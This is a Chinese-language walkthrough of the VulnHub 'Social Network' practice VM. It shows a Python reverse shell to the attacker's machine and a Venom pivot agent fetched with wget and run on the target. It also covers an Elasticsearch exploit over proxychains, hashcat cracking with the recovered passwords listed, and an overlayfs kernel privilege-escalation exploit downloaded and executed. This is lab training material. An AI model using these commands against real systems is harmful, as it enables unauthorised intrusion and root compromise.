[VulnHub] BoredHackerBlog: Social Network

0x01、靶机介绍

名称:BOREDHACKERBLOG: SOCIAL NETWORK

发布日期:29 Mar 2020

Download (Mirror): https://download.vulnhub.com/boredhackerblog/medium_socnet.ova

0x02 靶机目标

获取靶机root权限

0x03 工具准备

0x04 详细步骤

一、网络扫描

同网段IP地址扫描:

    sudo arp-scan -I eth0 -l

    发现靶机IP地址为192.168.0.109

    对目标靶机进行全端口扫描

    sudo nmap -p- 192.168.0.109

    发现目标靶机开放了TCP22、5000端口

    识别靶机端口开放服务

    sudo nmap -p22,5000 -sV 192.168.0.109

    发现TCP5000端口,开放有Python2,Web服务

    二、Web信息收集

    用浏览器访问http://192.168.0.109:5000,但在页面上并没有发现有用的信息

      对http://192.168.0.109:5000进行目录扫描

      sudo dirsearch -u http://192.168.0.109:5000

      发现存在/admin目录

      三、Web 命令执行漏洞与反弹Shell

      浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令

      使用Python反弹shell

        使用nc在Kali主机上监听TCP5555端口

        sudo nc -lnvp 5555

          http://192.168.0.109:5000/admin输入Python Shell

          import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

          发现收到Shell为docker主机的root权限

          Tip:判断主机为Docker容器的两种方法:

          方法一:确认根目录下是否存在.dockerenv文件

          ls /.dockerenv

          方法二:查看/proc/1/cgroup是否存在docker目录

          cat /proc/1/cgroup

          四、内网穿透

          内网扫描

            ip address 发现内网段为172.17.0.3/16网段

            内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机

            for i in $(seq 1 254); do ping -c 1 172.17.0.$i; done

            部署Venom内网穿透工具

              在Kali主机Venom目录启动Python3 Http Server

              python3 -m http.server 80

              启动Venom管理端,监听本地9999端口

              ./admin_linux_x64 -lport 9999

              靶机部署Venom客户端

              cd /tmp
              wget -c http://192.168.0.108/agent_linux_x64
              chmod +x agent_linux_x64
              ./agent_linux_x64 -rhost 192.168.0.108 -rport 9999

              在Kali主机Venom管理端可以看到有主机上线

              查看、控制Venom节点、启动socks隧道

              五、挂Socks内网扫描

              修改proxychains配置

              vi /etc/proxychains4.conf
              修改最后一行为:
              socks5  127.0.0.1 1080

              挂代理启动扫描,发现172.17.0.1,172.17.0.3相同,172.17.0.2存在9200端口

              sudo proxychains nmap -Pn -sT -sV 172.17.0.1
              sudo proxychains nmap -Pn -sT -sV 172.17.0.2
              sudo proxychains nmap -Pn -sT -sV 172.17.0.3

              六、利用Elasticsearch获取目标靶机登录用户名和密码

              搜索Elasticsearch漏洞

              searchsploit Elasticsearch

              复制36337.py到当前目录,通过查看该python脚本得知该使用python2

              cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

              向Elasticsearch写入一条数据(如果不写入数据,攻击代码无法执行)

              proxychains curl -XPOST '172.17.0.2:9200/twitter/user/yren' -d '{"name":"Wu"}'

              挂proxychains攻击172.17.0.2 9200端口

              sudo proxychains python2 36337.py 172.17.0.2

              查询用户身份,发现是root权限

              在根目录下发现passwords文件,内含用户名一些用户名和密码

              破解MD5加密明文(两种方法)

              方法一:使用Hashcat破解

              根据Format提示,密码是由8位组成,前四位是数字,后四位是小写字母,可以是用Hashcat
              1. 把hash提取出来,保存为一个文件pwd.hash
              2. -m 0 指哈希类型是md5;-a 3 指掩码攻击;?d代表数字;?l代表小写字母
              cat pwd.hash
              john:3f8184a7343664553fcb5337a3138814
              test:861f194e9d6118f3d942a72be3e51749
              admin:670c3bbc209a18dde5446e5e6c1f1d5b
              root:b3d34352fc26117979deabdf1b9b6354
              jane:5c158b60ed97c723b673529b8a3cf72b
              hashcat --username -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force
              hashcat --username -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force --show
              john:3f8184a7343664553fcb5337a3138814:1337hack
              test:861f194e9d6118f3d942a72be3e51749:1234test
              admin:670c3bbc209a18dde5446e5e6c1f1d5b:1111pass
              root:b3d34352fc26117979deabdf1b9b6354:1234pass
              jane:5c158b60ed97c723b673529b8a3cf72b:1234jane

              方法二:使用第三方密码查询平台(如:https://cmd5.com/)获取明文密码

              通过依次尝试,john:1337hack可以登录目标靶机
              ssh john@192.168.0.109

              七、Linux内核提权

              尝试john用户提权,但提权失败

              sudo -s
              • 尝试内核提权
              • 查询内核版本号,版本3.13
              uname -a
              searchsploit linux 3.13.0 ubuntu priv

              由于靶机没有gcc,且查看37292.c脚本发现,还需编译ofs-lib.so文件。所以考虑把ofs-lib.so文件从lib文件复制出,并注释掉37292.c相关代码再便宜,并将编译后的文件和ofs-lib.so共同上传目标靶机

              cp /usr/share/exploitdb/exploits/linux/local/37292.c .
              注释掉37292.c的139-147行
              gcc -o exp 37292.c
              locate ofs-lib.so
              cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

              将编译好的expofs-lib.so上传至目标靶机

              kali主机在tmp目录启动http server
              python3 -m http.server 80
              
              在靶机上下载exp和ofs-lib.so
              cd /tmp
              wget http://192.168.0.108/exp
              wget http://192.168.0.108/ofs-lib.so

              执行exp文件,提权成功。

              chmod +x exp
              ./exp
              id